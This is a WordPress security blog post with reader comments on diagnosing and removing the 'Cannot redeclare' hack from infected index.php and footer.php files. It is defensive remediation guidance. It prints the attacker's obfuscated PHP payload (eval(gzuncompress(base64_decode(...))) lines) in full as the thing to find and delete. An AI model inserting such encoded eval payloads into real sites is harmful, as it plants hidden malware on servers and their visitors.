Clean Up “Cannot redeclare” Hack

Posted by Jeff Starr • Updated on May 1st, 2024

One of my clients was hacked with the so-called Cannot redeclare hack. It seems closely related to the nefarious TimThumb hack, so if you’ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they’re all infected.

Checking for the “Cannot redeclare” hack

The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:

Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1

PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server’s PHP error logs for the “Cannot redeclare” error string. If you find anything that matches, it’s time to fix your site..

About the “Cannot redeclare” hack

If your site’s been hit with “Cannot redeclare”, you’re in for a wild clean-up party because it infects every index.php and footer.php file for every WordPress site on the server.

For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client’s sites have been moved to a more secure location.

Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:

eval(gzun

Here is a screenshot showing search results for this phrase:

Screenshot of search results

As seen here, the hacked files should be easy to recognize because they:

include the eval(gzun search term
include long strings of encoded gibberish
consist of index.php and footer.php files

If your search turns up anything that similar but not quite what we’re talking about here, it may or may not be legit. The main thing that we’re looking for are the long strings of encoded nonsense. Also, remember to check all sites that you may have on the same server. Once you’ve isolated the infected files, it’s time to clean ’em up..

Removing the “Cannot redeclare” hack

Looking at any of the hacked files, you’ll find this hideous looking piece of code garbage:

<?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?>

Disgusting stuff, and if you don’t see it at first, that doesn’t mean it’s not there. The scumbags who deal in this filth are clever enough to indent the code so it appears off-screen (via horizontal scrollbar). It’s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:

Screenshot of wrapped code

Notice it there in the last line.. it’s like that for all teh files. And again, if you don’t see anything then look for it off-screen. Once you find it, delete it. Then repeat for all index and footer files on your server. Once you’ve done that the “Cannot redeclare” hack should be gone, but you should take steps to prevent future attacks..

Securing your WordPress site

For public websites, there is no such thing as perfect security. There are many ways to improve security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it’s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.

Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on devloping secure WordPress sites. Even more recently is Smashing Magazine’s article on securing your WordPress website. And if you want to hear it direct from the horse’s mouth, check out the good ‘ol fashioned WP Codex for info on hardening WordPress.

More help..

There’s currently not a lot of info on the “Cannot redeclare” hack, but this WP Forum thread provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.

17 responses ↓

About the author

Jeff Starr is a professional web developer and book author with over 15 years of experience. Jeff works with WordPress every day, designing themes, developing plugins, and securing sites. His books include Digging Into WordPress, WordPress Themes In Depth, and The Tao of WordPress.

View all from Jeff Starr

← That’s Not Spam: False Positives and Ham

HTML Formatting for Custom WordPress Menus →

17 responses

Elliott the web design guy

November 18, 2011 @ 4:16 pm

Got nailed with the timthumb vulnerability a few weeks ago! Pain in the proverbial but managed to fix things quickly with a little help from @danfast, great end to your post on ‘Securing your WordPress site’ ;-)
dave

November 18, 2011 @ 10:57 pm

So what is the vulnerable file that allowed this to happen in the first place?

I see no point in going through fixing all the files unless I know how they got in the first place.

Is this exploit known yet?
Jeff Starr Post Author

November 18, 2011 @ 11:35 pm

Great questions. More info is needed about the mechanism behind this exploit, but at this time it looks like the root cause is an insecure hosting environment (e.g., shared hosting). For example, the attacker finds an exploit through some site on a shared server. Once access is gained, every site/file on the shared account is vulnerable. So there may or may not be a “vulnerable file” per se, and if so, it may only exist on one site on the server.

The point in cleaning up a hacked site is to prevent the attackers from doing further damage by running malicious scripts from your site (sending spam, cloaking links, phishing, etc.). As discussed in the article, first clean up the mess and then tighten security as much as possible, starting with better (non-shared) hosting, if possible.
- Mara Alexander
  
  November 21, 2011 @ 2:57 am
  
  All shared hosting is not created equal, and there *are* hosting companies who care about security. Any host worth anything is going to have suPHP/open_base_dir/etc enabled, so that in the unlikely event one account is compromised, that’s as far as it goes.
  
  It bothers me to see a blanket statement implying that all shared hosting is a security risk, just as it bothers me to read comments on support forums of open source scripts, where the “support” people tell their users that if the host has “disabled x,y,z due to security, then find another host who will allow it.”
  
  Typically those are the type of scripts (with sloppy coding) that get hacked. And then, of course, it’s the web hosts’ fault.
  
  Hosts have a responsibility to provide a secure server environment. Developers have a responsibility to write secure code. And users have a responsibility to make informed choices on the software they install, and to be a part OF securing their site by using common sense (using secure passwords, updating scripts, etc).
  
  I can list dozens of major data breaches from large companies…who clearly weren’t using shared hosting.
  
  So please. Stop taking the easy way out and just blaming the hosting company, k?
  - Jim
    
    November 21, 2011 @ 12:03 pm
    
    You’re absolutely right, Mara. This is not a problem (yet, knock wood) on sites I manage on good, reputable hosts.
    But clients who stuck with sketchy hosting against my recommendations are suffering.
  - Otto
    
    November 29, 2011 @ 3:36 pm
    
    In at least one case of this specific exploit I’ve read so far, one of the affected users found a root-privilege-escalation exploit on the server. So the hacker got access to some account, elevated himself to root, then hit every site on the server.
    
    The root-exploit in question was fixed in Linux 2 years ago or so. So the server OS installation running hadn’t been updated in at least that long. Sorry, but that’s a hosting company flub.
    
    Security has many aspects. You do need to make sure your hosting company is on top of the ball as well.
dave

November 19, 2011 @ 12:36 am

thanks for the info, to bad to hear that it’s not an explicit exploit that can easily be patched. Thankfully i run my own servers, never use ftp, and never ever upload skanky themes or plugins. I’ll keep my fingers crossed that they leave me alone this time. Timthumb was a nightmare last time and I don’t look forward to another day like that one.
Daniel15

November 19, 2011 @ 4:32 am

I’ve posted a blog post with a decoded version of the eval(gzuncompress(base64_decode( code posted above, as well as a writeup on how I decoded it. Hope it’s useful for someone. :)
- Jeff Starr Post Author
  
  November 19, 2011 @ 1:01 pm
  
  Dude, nice. :)
  
  Based on your work, it looks like “Cannot redeclare” and “TimThumb” are closely related, if not variations of the same hack.
  
  Either way, thanks for taking the time to shed some light on it.
  - Daniel15
    
    November 19, 2011 @ 5:23 pm
    
    Glad you found it useful! I thought it’d be a good topic for a blog post, haha.
    
    They could be related – The TimThumb hack let attackers run any PHP code on the server. The PHP code ran could easily be code that left this payload behind.
  - Otto
    
    November 29, 2011 @ 3:38 pm
    
    Unfortunately, decoding the payload rarely gives any insight into the exploit being used. Those are easily de-coupled, and so often you’ll see multiple exploits using the same payload. So, probably not related to the TimThumb thing at all, really, other than similar payloads.
    - Daniel15
      
      November 29, 2011 @ 8:20 pm
      
      Yeah, that was what I was trying to say, although I didn’t say it very well. What I was trying to say what that because the TimThumb exploit let people run any PHP code on the server, they could have left *any* payload behind. This could have been one of them.
    - vipin
      
      June 30, 2012 @ 1:09 am
      
      hi Jeff,
      
      this happened to many times;at that i thought it was error setting up on multiple WordPress sites.Anyway this isn’t happened to my ordinary Wp’s
      
      Great article :)
Tobias

November 20, 2011 @ 8:59 am

Hi,

what’s that program that you are using to search inside the files? (That program in the screenshot.)

Thanks!
Tobias
Amit Kumar

November 25, 2011 @ 6:40 am

Hi Jeff,

Nice info ….keep it up…..:)

Thanks
Bladeknight

November 28, 2011 @ 3:25 am

Nice, thank for the tut :).
Divyanshu

December 27, 2011 @ 8:54 am

Nice info…..keep up the good workAnd by the way you can have a look at my blog too if you would like.

And have a great day mate.